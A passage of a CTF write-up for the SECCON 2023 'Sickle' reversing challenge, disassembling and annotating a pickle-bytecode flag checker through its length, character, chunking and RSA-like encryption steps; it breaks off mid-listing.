# SecCon Quals 2023
Some writeups for (mostly) rev challenges.
# 1. Sickle
We're provided with python program, which unpickles some static payload and either prints "Congratulations!!" if the result is `True`, or "Nope" otherwise.
## Initial analysis
Running program greets us with `FLAG>` prompt, which implies it has some validation logic inside.
Usually pickle is used to serialize data, but it is also perfectly capable of running code. Also, usage of `io.BytesIO()` to wrap payload may allow for conditional jumps while deserializing pickled bytecode.
## Disassembling
As usual with pickled payloads, first thing to do is to throw it at `pickletools.dis()`.
### Step 1
After running disassembler on the payload we get the following listing:
```
0: \x8c SHORT_BINUNICODE 'builtins'
10: \x8c SHORT_BINUNICODE 'getattr'
19: \x93 STACK_GLOBAL
20: \x94 MEMOIZE (as 0)
21: 2 DUP
22: \x8c SHORT_BINUNICODE 'builtins'
32: \x8c SHORT_BINUNICODE 'input'
39: \x93 STACK_GLOBAL
40: \x8c SHORT_BINUNICODE 'FLAG> '
48: \x85 TUPLE1
49: R REDUCE
50: \x8c SHORT_BINUNICODE 'encode'
58: \x86 TUPLE2
59: R REDUCE
60: ) EMPTY_TUPLE
61: R REDUCE
62: \x94 MEMOIZE (as 1)
63: 0 POP
64: g GET 0
67: \x8c SHORT_BINUNICODE 'builtins'
77: \x8c SHORT_BINUNICODE 'dict'
83: \x93 STACK_GLOBAL
84: \x8c SHORT_BINUNICODE 'get'
89: \x86 TUPLE2
90: R REDUCE
91: \x8c SHORT_BINUNICODE 'builtins'
101: \x8c SHORT_BINUNICODE 'globals'
110: \x93 STACK_GLOBAL
111: ) EMPTY_TUPLE
112: R REDUCE
113: \x8c SHORT_BINUNICODE 'f'
116: \x86 TUPLE2
117: R REDUCE
118: \x8c SHORT_BINUNICODE 'seek'
124: \x86 TUPLE2
125: R REDUCE
126: \x94 MEMOIZE (as 2)
127: g GET 0
130: \x8c SHORT_BINUNICODE 'builtins'
140: \x8c SHORT_BINUNICODE 'int'
145: \x93 STACK_GLOBAL
146: \x8c SHORT_BINUNICODE '__add__'
155: \x86 TUPLE2
156: R REDUCE
157: \x94 MEMOIZE (as 3)
158: 0 POP
159: g GET 0
162: \x8c SHORT_BINUNICODE 'builtins'
172: \x8c SHORT_BINUNICODE 'int'
177: \x93 STACK_GLOBAL
178: \x8c SHORT_BINUNICODE '__mul__'
187: \x86 TUPLE2
188: R REDUCE
189: \x94 MEMOIZE (as 4)
190: 0 POP
191: g GET 0
194: \x8c SHORT_BINUNICODE 'builtins'
204: \x8c SHORT_BINUNICODE 'int'
209: \x93 STACK_GLOBAL
210: \x8c SHORT_BINUNICODE '__eq__'
218: \x86 TUPLE2
219: R REDUCE
220: \x94 MEMOIZE (as 5)
221: 0 POP
222: g GET 3
225: g GET 5
228: \x8c SHORT_BINUNICODE 'builtins'
238: \x8c SHORT_BINUNICODE 'len'
243: \x93 STACK_GLOBAL
244: g GET 1
247: \x85 TUPLE1
248: R REDUCE
249: M BININT2 64
252: \x86 TUPLE2
253: R REDUCE
254: M BININT2 261
257: \x86 TUPLE2
258: R REDUCE
259: \x85 TUPLE1
260: R REDUCE
261: . STOP
highest protocol among opcodes = 4
```
From the operations we can immediately see our `input('FLAG> ')` prompt at the start. Also there's `f.seek()` function reference, which confirms it does some jumping.
But note how it ends at offset 261, even though original bytecode length is 1004 bytes. This happens because of a `STOP` instuction (which must be bypassed when some condition is met).
To work that around, we can replace `.` (STOP) opcode at offset 261 with `N` (NONE). This would allow us to disassemble it further.
### Step 2
Now we've got a bit further:
```
...
261: N NONE
262: 0 POP
263: g GET 0
266: g GET 1
269: \x8c SHORT_BINUNICODE '__getitem__'
282: \x86 TUPLE2
283: R REDUCE
284: \x94 MEMOIZE (as 6)
285: 0 POP
286: M BININT2 0
289: \x94 MEMOIZE (as 7)
290: 0 POP
291: g GET 2
294: g GET 3
297: g GET 0
300: g GET 6
303: g GET 7
306: \x85 TUPLE1
307: R REDUCE
308: \x8c SHORT_BINUNICODE '__le__'
316: \x86 TUPLE2
317: R REDUCE
318: M BININT2 127
321: \x85 TUPLE1
322: R REDUCE
323: M BININT2 330
326: \x86 TUPLE2
327: R REDUCE
328: \x85 TUPLE1
329: R REDUCE
330: . STOP
highest protocol among opcodes = 4
```
We also get an error the stack is not empty upon return, but we'll ignore it.
Also, there's another `STOP` at offset 330, so we'd need to patch it as well.
### Step 3
Now it gets us a bit further, but throws an exception here:
```
...
355: p PUT 7
Traceback (most recent call last):
File "~/ctf/seccon2023/sickle/dis.py", line 5, in <module>
dis(payload)
File "/usr/local/Cellar/python@3.11/3.11.3/Frameworks/Python.framework/Versions/3.11/lib/python3.11/pickletools.py", line 2531, in dis
raise ValueError(errormsg)
ValueError: memo key 7 already defined
```
For some reason, `pickletools` doesn't allow assiging data at the already allocated memo index, even though it is the only purpose of the `PUT` instruction.
Luckily, we can copy `dis()` function code locally and remove that check. And while we're at it, also purge that annoying stack emptiness check at the end.
After using our modified disassembly function, it works as expected and outputs remaining code (continuing from offset 330):
```
...
330: N NONE
331: 0 POP
332: g GET 2
335: g GET 3
338: g GET 4
341: g GET 5
344: g GET 3
347: g GET 7
350: M BININT2 1
353: \x86 TUPLE2
354: R REDUCE
355: p PUT 7
358: M BININT2 64
361: \x86 TUPLE2
362: R REDUCE
363: M BININT2 85
366: \x86 TUPLE2
367: R REDUCE
368: M BININT2 290
371: \x86 TUPLE2
372: R REDUCE
373: \x85 TUPLE1
374: R REDUCE
375: 0 POP
376: g GET 0
379: g GET 0
382: ] EMPTY_LIST
383: \x94 MEMOIZE (as 8)
384: \x8c SHORT_BINUNICODE 'append'
392: \x86 TUPLE2
393: R REDUCE
394: \x94 MEMOIZE (as 9)
395: 0 POP
396: g GET 8
399: \x8c SHORT_BINUNICODE '__getitem__'
412: \x86 TUPLE2
413: R REDUCE
414: \x94 MEMOIZE (as 10)
415: 0 POP
416: g GET 0
419: \x8c SHORT_BINUNICODE 'builtins'
429: \x8c SHORT_BINUNICODE 'int'
434: \x93 STACK_GLOBAL
435: \x8c SHORT_BINUNICODE 'from_bytes'
447: \x86 TUPLE2
448: R REDUCE
449: \x94 MEMOIZE (as 11)
450: 0 POP
451: M BININT2 0
454: p PUT 7
457: 0 POP
458: g GET 9
461: g GET 11
465: g GET 6
468: \x8c SHORT_BINUNICODE 'builtins'
478: \x8c SHORT_BINUNICODE 'slice'
485: \x93 STACK_GLOBAL
486: g GET 4
489: g GET 7
492: M BININT2 8
495: \x86 TUPLE2
496: R REDUCE
497: g GET 4
500: g GET 3
503: g GET 7
506: M BININT2 1
509: \x86 TUPLE2
510: R REDUCE
511: M BININT2 8
514: \x86 TUPLE2
515: R REDUCE
516: \x86 TUPLE2
517: R REDUCE
518: \x85 TUPLE1
519: R REDUCE
520: \x8c SHORT_BINUNICODE 'little'
528: \x86 TUPLE2
529: R REDUCE
530: \x85 TUPLE1
531: R REDUCE
532: 0 POP
533: g GET 2
536: g GET 3
539: g GET 4
542: g GET 5
545: g GET 3
548: g GET 7
551: M BININT2 1
554: \x86 TUPLE2
555: R REDUCE
556: p PUT 7
559: M BININT2 8
562: \x86 TUPLE2
563: R REDUCE
564: M BININT2 119
567: \x86 TUPLE2
568: R REDUCE
569: M BININT2 457
572: \x86 TUPLE2
573: R REDUCE
574: \x85 TUPLE1
575: R REDUCE
576: 0 POP
577: g GET 0
580: ] EMPTY_LIST
581: \x94 MEMOIZE (as 12)
582: \x8c SHORT_BINUNICODE 'append'
590: \x86 TUPLE2
591: R REDUCE
592: \x94 MEMOIZE (as 13)
593: 0 POP
594: g GET 0
597: g GET 12
601: \x8c SHORT_BINUNICODE '__getitem__'
614: \x86 TUPLE2
615: R REDUCE
616: \x94 MEMOIZE (as 14)
617: 0 POP
618: g GET 0
621: \x8c SHORT_BINUNICODE 'builtins'
631: \x8c SHORT_BINUNICODE 'int'
636: \x93 STACK_GLOBAL
637: \x8c SHORT_BINUNICODE '__xor__'
646: \x86 TUPLE2
647: R REDUCE
648: \x94 MEMOIZE (as 15)
649: 0 POP
650: I INT 1244422970072434993
671: \x94 MEMOIZE (as 16)
672: 0 POP
673: M BININT2 0
676: p PUT 7
679: 0 POP
680: g GET 13
684: \x8c SHORT_BINUNICODE 'builtins'
694: \x8c SHORT_BINUNICODE 'pow'
699: \x93 STACK_GLOBAL
700: g GET 15
704: g GET 10
708: g GET 7
711: \x85 TUPLE1
712: R REDUCE
713: g GET 16
717: \x86 TUPLE2
718: R REDUCE
719: I INT 65537
726: I INT 18446744073709551557
748: \x87 TUPLE3
749: R REDUCE
750: \x85 TUPLE1
751: R REDUCE
752: 0 POP
753: g GET 14
757: g GET 7
760: \x85 TUPLE1
761: R REDUCE
762: p PUT 16
766: 0 POP
767: g GET 2
770: g GET 3
773: g GET 4
776: g GET 5
779: g GET 3
782: g GET 7
785: M BININT2 1
788: \x86 TUPLE2
789: R REDUCE
790: p PUT 7
793: M BININT2 8
796: \x86 TUPLE2
797: R REDUCE
798: M BININT2 131
801: \x86 TUPLE2
802: R REDUCE
803: M BININT2 679
806: \x86 TUPLE2
807: R REDUCE
808: \x85 TUPLE1
809: R REDUCE
810: 0 POP
811: g GET 0
814: g GET 12
818: \x8c SHORT_BINUNICODE '__eq__'
826: \x86 TUPLE2
827: R REDUCE
828: ( MARK
829: I INT 8215359690687096682
850: I INT 1862662588367509514
871: I INT 8350772864914849965
892: I INT 11616510986494699232
914: I INT 3711648467207374797
935: I INT 9722127090168848805
956: I INT 16780197523811627561
978: I INT 18138828537077112905
1000: l LIST (MARK at 828)
1001: \x85 TUPLE1
1002: R REDUCE
1003: . STOP
highest protocol among opcodes = 4
```
## Analysis
Much like Python itself, pickle deserializer uses a stack-based VM to produce output. So to analyze it, we need to know stack contents at each instruction.
While it is possible to make out patched `dis()` function output that automatically, it would require some amount of work. And humans are lazy :)
On the other hand, Copilot turned out to be extremely good at annotating stack states, with only some minor errors. So entire disassembly annotation was 90% hitting tab and 10% checking if it makes sense.
So, let's head to exploring annotated blocks and figuring out what are they doing.
### Initialization and flag entry
```
0: \x8c SHORT_BINUNICODE 'builtins' ; [ 'builtins' ]
10: \x8c SHORT_BINUNICODE 'getattr' ; [ 'builtins', 'getattr' ]
19: \x93 STACK_GLOBAL ; [ builtins.getattr ]
20: \x94 MEMOIZE (as 0) ; memo[0] = builtins.getattr
21: 2 DUP ; [ builtins.getattr, builtins.getattr ]
22: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, builtins.getattr, 'builtins' ]
32: \x8c SHORT_BINUNICODE 'input' ; [ builtins.getattr, builtins.getattr, 'builtins', 'input' ]
39: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.getattr, builtins.input ]
40: \x8c SHORT_BINUNICODE 'FLAG> ' ; [ builtins.getattr, builtins.getattr, builtins.input, 'FLAG> ' ]
48: \x85 TUPLE1 ; [ builtins.getattr, builtins.getattr, builtins.input, ('FLAG> ',) ]
49: R REDUCE ; [ builtins.getattr, builtins.getattr, flag_str ]
50: \x8c SHORT_BINUNICODE 'encode' ; [ builtins.getattr, builtins.getattr, flag_str, 'encode' ]
58: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (flag_str, 'encode') ]
59: R REDUCE ; [ builtins.getattr, flag_str.encode ]
60: ) EMPTY_TUPLE ; [ builtins.getattr, flag_str.encode, () ]
61: R REDUCE ; [ builtins.getattr, flag ]
62: \x94 MEMOIZE (as 1) ; memo[1] = flag
63: 0 POP ; [ builtins.getattr ]
64: g GET 0 ; [ builtins.getattr, builtins.getattr ]
67: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, builtins.getattr, 'builtins' ]
77: \x8c SHORT_BINUNICODE 'dict' ; [ builtins.getattr, builtins.getattr, 'builtins', 'dict' ]
83: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.getattr, builtins.dict ]
84: \x8c SHORT_BINUNICODE 'get' ; [ builtins.getattr, builtins.getattr, builtins.dict, 'get' ]
89: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (builtins.dict, 'get') ]
90: R REDUCE ; [ builtins.getattr, dict.get ]
91: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, dict.get, 'builtins' ]
101: \x8c SHORT_BINUNICODE 'globals' ; [ builtins.getattr, dict.get, 'builtins', 'globals' ]
110: \x93 STACK_GLOBAL ; [ builtins.getattr, dict.get, builtins.globals ]
111: ) EMPTY_TUPLE ; [ builtins.getattr, dict.get, builtins.globals, () ]
112: R REDUCE ; [ builtins.getattr, dict.get, globals ]
113: \x8c SHORT_BINUNICODE 'f' ; [ builtins.getattr, dict.get, globals, 'f' ]
116: \x86 TUPLE2 ; [ builtins.getattr, dict.get, (globals, 'f') ]
117: R REDUCE ; [ builtins.getattr, f ]
118: \x8c SHORT_BINUNICODE 'seek' ; [ builtins.getattr, f, 'seek' ]
124: \x86 TUPLE2 ; [ builtins.getattr, (f, 'seek') ]
125: R REDUCE ; [ f.seek ]
126: \x94 MEMOIZE (as 2) ; memo[2] = f.seek
127: g GET 0 ; [ f.seek, builtins.getattr ]
130: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ]
140: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ]
145: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ]
146: \x8c SHORT_BINUNICODE '__add__' ; [ f.seek, builtins.getattr, builtins.int, '__add__' ]
155: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__add__') ]
156: R REDUCE ; [ f.seek, int.__add__ ]
157: \x94 MEMOIZE (as 3) ; memo[3] = int.__add__
158: 0 POP ; [ f.seek ]
159: g GET 0 ; [ f.seek, builtins.getattr ]
162: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ]
172: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ]
177: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ]
178: \x8c SHORT_BINUNICODE '__mul__' ; [ f.seek, builtins.getattr, builtins.int, '__mul__' ]
187: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__mul__') ]
188: R REDUCE ; [ f.seek, int.__mul__ ]
189: \x94 MEMOIZE (as 4) ; memo[4] = int.__mul__
190: 0 POP ; [ f.seek ]
191: g GET 0 ; [ f.seek, builtins.getattr ]
194: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ]
204: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ]
209: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ]
210: \x8c SHORT_BINUNICODE '__eq__' ; [ f.seek, builtins.getattr, builtins.int, '__eq__' ]
218: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__eq__') ]
219: R REDUCE ; [ f.seek, int.__eq__ ]
220: \x94 MEMOIZE (as 5) ; memo[5] = int.__eq__
221: 0 POP ; [ f.seek ]
```
Here we input flag, encode it as bytes and store it in memo. Also some basic int operations, `getattr` and `f.seek` are resolved and stored there.
### Checking flag length
```
222: g GET 3 ; [ f.seek, int.__add__ ]
225: g GET 5 ; [ f.seek, int.__add__, int.__eq__ ]
228: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, int.__add__, int.__eq__, 'builtins' ]
238: \x8c SHORT_BINUNICODE 'len' ; [ f.seek, int.__add__, int.__eq__, 'builtins', 'len' ]
243: \x93 STACK_GLOBAL ; [ f.seek, int.__add__, int.__eq__, builtins.len ]
244: g GET 1 ; [ f.seek, int.__add__, int.__eq__, builtins.len, flag ]
247: \x85 TUPLE1 ; [ f.seek, int.__add__, int.__eq__, builtins.len, (flag,) ]
248: R REDUCE ; [ f.seek, int.__add__, int.__eq__, flag_len ]
249: M BININT2 64 ; [ f.seek, int.__add__, int.__eq__, flag_len, 64 ]
252: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__eq__, (flag_len, 64) ]
253: R REDUCE ; [ f.seek, int.__add__, flag_len == 64 ]
254: M BININT2 261 ; [ f.seek, int.__add__, flag_len == 64, 261 ]
257: \x86 TUPLE2 ; [ f.seek, int.__add__, (flag_len == 64, 261) ]
258: R REDUCE ; [ f.seek, (flag_len == 64) + 261 ]
259: \x85 TUPLE1 ; [ f.seek, ((flag_len == 64) + 261,) ]
260: R REDUCE ; [ f.seek((flag_len == 64) + 261) ]
261: N NONE ; STOP
262: 0 POP ; [ ]
```
Here we check if flag length is equal to 64.
Also, from `f.seek((flag_len == 64) + 261)` we can see how conditional jumps work. If flag length is not 64, it seeks to `0 + 261` (which is our `STOP` instruction), otherwise it seeks to the one right after it, effectively continuing execution.
### Character validation loop
```
263: g GET 0 ; [ builtins.getattr ]
266: g GET 1 ; [ builtins.getattr, flag ]
269: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, flag, '__getitem__' ]
282: \x86 TUPLE2 ; [ builtins.getattr, (flag, '__getitem__') ]
283: R REDUCE ; [ flag.__getitem__ ]
284: \x94 MEMOIZE (as 6) ; memo[6] = flag.__getitem__
285: 0 POP ; [ ]
286: M BININT2 0 ; [ 0 ]
289: \x94 MEMOIZE (as 7) ; memo[7] = 0
290: 0 POP ; [ ]
291: g GET 2 ; [ f.seek ]
294: g GET 3 ; [ f.seek, int.__add__ ]
297: g GET 0 ; [ f.seek, int.__add__, builtins.getattr ]
300: g GET 6 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__ ]
303: g GET 7 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__, i ]
306: \x85 TUPLE1 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__, (i,) ]
307: R REDUCE ; [ f.seek, int.__add__, builtins.getattr, flag[i] ]
308: \x8c SHORT_BINUNICODE '__le__' ; [ f.seek, int.__add__, builtins.getattr, flag[i], '__le__' ]
316: \x86 TUPLE2 ; [ f.seek, int.__add__, builtins.getattr, (flag[i], '__le__') ]
317: R REDUCE ; [ f.seek, int.__add__, flag[i].__le__ ]
318: M BININT2 127 ; [ f.seek, int.__add__, flag[i].__le__, 127 ]
321: \x85 TUPLE1 ; [ f.seek, int.__add__, flag[i].__le__, (127,) ]
322: R REDUCE ; [ f.seek, int.__add__, flag[i] < 127 ]
323: M BININT2 330 ; [ f.seek, int.__add__, flag[i] < 127, 330 ]
326: \x86 TUPLE2 ; [ f.seek, int.__add__, (flag[i] < 127, 330) ]
327: R REDUCE ; [ f.seek, (flag[i] < 127) + 330 ]
328: \x85 TUPLE1 ; [ f.seek, ((flag[i] < 127) + 330,) ]
329: R REDUCE ; [ f.seek((flag[i] < 127) + 330) ]
330: N NONE ; STOP
331: 0 POP ; [ ]
332: g GET 2 ; [ f.seek ]
335: g GET 3 ; [ f.seek, int.__add__ ]
338: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ]
341: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ]
344: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ]
347: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ]
350: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ]
353: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ]
354: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ]
355: p PUT 7 ; memo[7] = i+1
358: M BININT2 64 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 64 ]
361: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 64) ]
362: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 64 ]
363: M BININT2 85 ; [ f.seek, int.__add__, int.__mul__, i+1 == 64, 85 ]
366: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 64, 85) ]
367: R REDUCE ; [ f.seek, int.__add__, (i+1 == 64) * 85 ]
368: M BININT2 290 ; [ f.seek, int.__add__, (i+1 == 64) * 85, 290 ]
371: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 64) * 85, 290) ]
372: R REDUCE ; [ f.seek, (i+1 == 64) * 85 + 290 ]
373: \x85 TUPLE1 ; [ f.seek, ((i+1 == 64) * 85 + 290,) ]
374: R REDUCE ; [ f.seek((i+1 == 64) * 85 + 290) ]
375: 0 POP ; [ ]
```
Here we can see it loops over each flag character and checks if it is less than 127.
### Converting flag to a list of integers
```
376: g GET 0 ; [ builtins.getattr ]
379: g GET 0 ; [ builtins.getattr, builtins.getattr ]
382: ] EMPTY_LIST ; [ builtins.getattr, builtins.getattr, lst ]
383: \x94 MEMOIZE (as 8) ; memo[8] = lst
384: \x8c SHORT_BINUNICODE 'append' ; [ builtins.getattr, builtins.getattr, lst, 'append' ]
392: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (lst, 'append') ]
393: R REDUCE ; [ builtins.getattr, lst.append ]
394: \x94 MEMOIZE (as 9) ; memo[9] = lst.append
395: 0 POP ; [ builtins.getattr ]
396: g GET 8 ; [ builtins.getattr, lst ]
399: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, lst, '__getitem__' ]
412: \x86 TUPLE2 ; [ builtins.getattr, (lst, '__getitem__') ]
413: R REDUCE ; [ lst.__getitem__ ]
414: \x94 MEMOIZE (as 10) ; memo[10] = lst.__getitem__
415: 0 POP ; [ ]
416: g GET 0 ; [ builtins.getattr ]
419: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, 'builtins' ]
429: \x8c SHORT_BINUNICODE 'int' ; [ builtins.getattr, 'builtins', 'int' ]
434: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.int ]
435: \x8c SHORT_BINUNICODE 'from_bytes' ; [ builtins.getattr, builtins.int, 'from_bytes' ]
447: \x86 TUPLE2 ; [ builtins.getattr, (builtins.int, 'from_bytes') ]
448: R REDUCE ; [ int.from_bytes ]
449: \x94 MEMOIZE (as 11) ; memo[11] = int.from_bytes
450: 0 POP ; [ ]
451: M BININT2 0 ; [ 0 ]
454: p PUT 7 ; memo[7] = 0
457: 0 POP ; [ ]
458: g GET 9 ; [ lst.append ]
461: g GET 11 ; [ lst.append, int.from_bytes ]
465: g GET 6 ; [ lst.append, int.from_bytes, flag.__getitem__ ]
468: \x8c SHORT_BINUNICODE 'builtins' ; [ lst.append, int.from_bytes, flag.__getitem__, 'builtins' ]
478: \x8c SHORT_BINUNICODE 'slice' ; [ lst.append, int.from_bytes, flag.__getitem__, 'builtins', 'slice' ]
485: \x93 STACK_GLOBAL ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice ]
486: g GET 4 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__ ]
489: g GET 7 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, i ]
492: M BININT2 8 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, i, 8 ]
495: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, (i, 8) ]
496: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8 ]
497: g GET 4 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__ ]
500: g GET 3 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__ ]
503: g GET 7 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, i ]
506: M BININT2 1 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, i, 1 ]
509: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, (i, 1) ]
510: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, i+1 ]
511: M BININT2 8 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, i+1, 8 ]
514: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, (i+1, 8) ]
515: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, (i+1) * 8 ]
516: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, (i*8, (i+1) * 8) ]
517: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, [i*8, (i+1) * 8] ]
518: \x85 TUPLE1 ; [ lst.append, int.from_bytes, flag.__getitem__, ([i*8:(i+1)*8],) ]
519: R REDUCE ; [ lst.append, int.from_bytes, flag[i*8:(i+1)*8] ]
520: \x8c SHORT_BINUNICODE 'little' ; [ lst.append, int.from_bytes, flag[i*8:(i+1)*8], 'little' ]
528: \x86 TUPLE2 ; [ lst.append, int.from_bytes, (flag[i*8:(i+1)*8], 'little') ]
529: R REDUCE ; [ lst.append, int.from_bytes(flag[i*8:(i+1)*8], 'little') ]
530: \x85 TUPLE1 ; [ lst.append, (int.from_bytes((flag[i*8:(i+1)*8], 'little'),) ]
531: R REDUCE ; [ lst.append(int.from_bytes(flag[i*8:(i+1)*8], 'little')) ]
532: 0 POP ; [ ]
533: g GET 2 ; [ f.seek ]
536: g GET 3 ; [ f.seek, int.__add__ ]
539: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ]
542: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ]
545: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ]
548: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ]
551: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ]
554: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ]
555: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ]
556: p PUT 7 ; memo[7] = i+1
559: M BININT2 8 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 8 ]
562: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 8) ]
563: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 8 ]
564: M BININT2 119 ; [ f.seek, int.__add__, int.__mul__, i+1 == 8, 119 ]
567: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 8, 119) ]
568: R REDUCE ; [ f.seek, int.__add__, (i+1 == 8) * 119 ]
569: M BININT2 457 ; [ f.seek, int.__add__, (i+1 == 8) * 119, 457 ]
572: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 8) * 119, 457) ]
573: R REDUCE ; [ f.seek, (i+1 == 8) * 119 + 457 ]
574: \x85 TUPLE1 ; [ f.seek, ((i+1 == 8) * 119 + 457,) ]
575: R REDUCE ; [ f.seek((i+1 == 8) * 119 + 457) ]
576: 0 POP ; [ ]
```
In this loop, the flag is split to 8-byte chunks, which are converted to integers and appended to a list.
### RSA-like encryption
```
577: g GET 0 ; [ builtins.getattr ]
580: ] EMPTY_LIST ; [ builtins.getattr, lst2 ]
581: \x94 MEMOIZE (as 12) ; memo[12] = lst2
582: \x8c SHORT_BINUNICODE 'append' ; [ builtins.getattr, lst2, 'append' ]
590: \x86 TUPLE2 ; [ builtins.getattr, (lst2, 'append') ]
591: R REDUCE ; [ lst2.append ]
592: \x94 MEMOIZE (as 13) ; memo[13] = lst2.append
593: 0 POP ; [ ]
594: g GET 0 ; [ builtins.getattr ]
597: g GET 12 ; [ builtins.getattr, lst2 ]
601: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, lst2, '__getitem__' ]
614: \x86 TUPLE2 ; [ builtins.getattr, (lst2, '__getitem__') ]
615: R REDUCE ; [ lst2.__getitem__ ]
616: \x94 MEMOIZE (as 14) ; memo[14] = lst2.__getitem__
617: 0 POP ; [ ]
618: g GET 0 ; [ builtins.getattr ]
621: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, 'builtins' ]
631: \x8c SHORT_BINUNICODE 'int' ; [ builtins.getattr, 'builtins', 'int' ]
636: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.int ]
637: \x8c SHORT_BINUNICODE '__xor__' ; [ builtins.getattr, builtins.int, '__xor__' ]
646: \x86 TUPLE2 ; [ builtins.getattr, (builtins.int, '__xor__') ]
647: R REDUCE ; [ int.__xor__ ]
648: \x94 MEMOIZE (as 15) ; memo[15] = int.__xor__
649: 0 POP ; [ ]
650: I INT 1244422970072434993 ; [ 1244422970072434993 ]
671: \x94 MEMOIZE (as 16) ; memo[16] = 1244422970072434993 (iv)
672: 0 POP ; [ ]
673: M BININT2 0 ; [ 0 ]
676: p PUT 7 ; memo[7] = 0
679: 0 POP ; [ ]
680: g GET 13 ; [ lst2.append ]
684: \x8c SHORT_BINUNICODE 'builtins' ; [ lst2.append, 'builtins' ]
694: \x8c SHORT_BINUNICODE 'pow' ; [ lst2.append, 'builtins', 'pow' ]
699: \x93 STACK_GLOBAL ; [ lst2.append, builtins.pow ]
700: g GET 15 ; [ lst2.append, builtins.pow, int.__xor__ ]
704: g GET 10 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__ ]
708: g GET 7 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__, i ]
711: \x85 TUPLE1 ; [ lst2.append, builtins.pow, int.__xor__, lst.__getitem__, (i,) ]
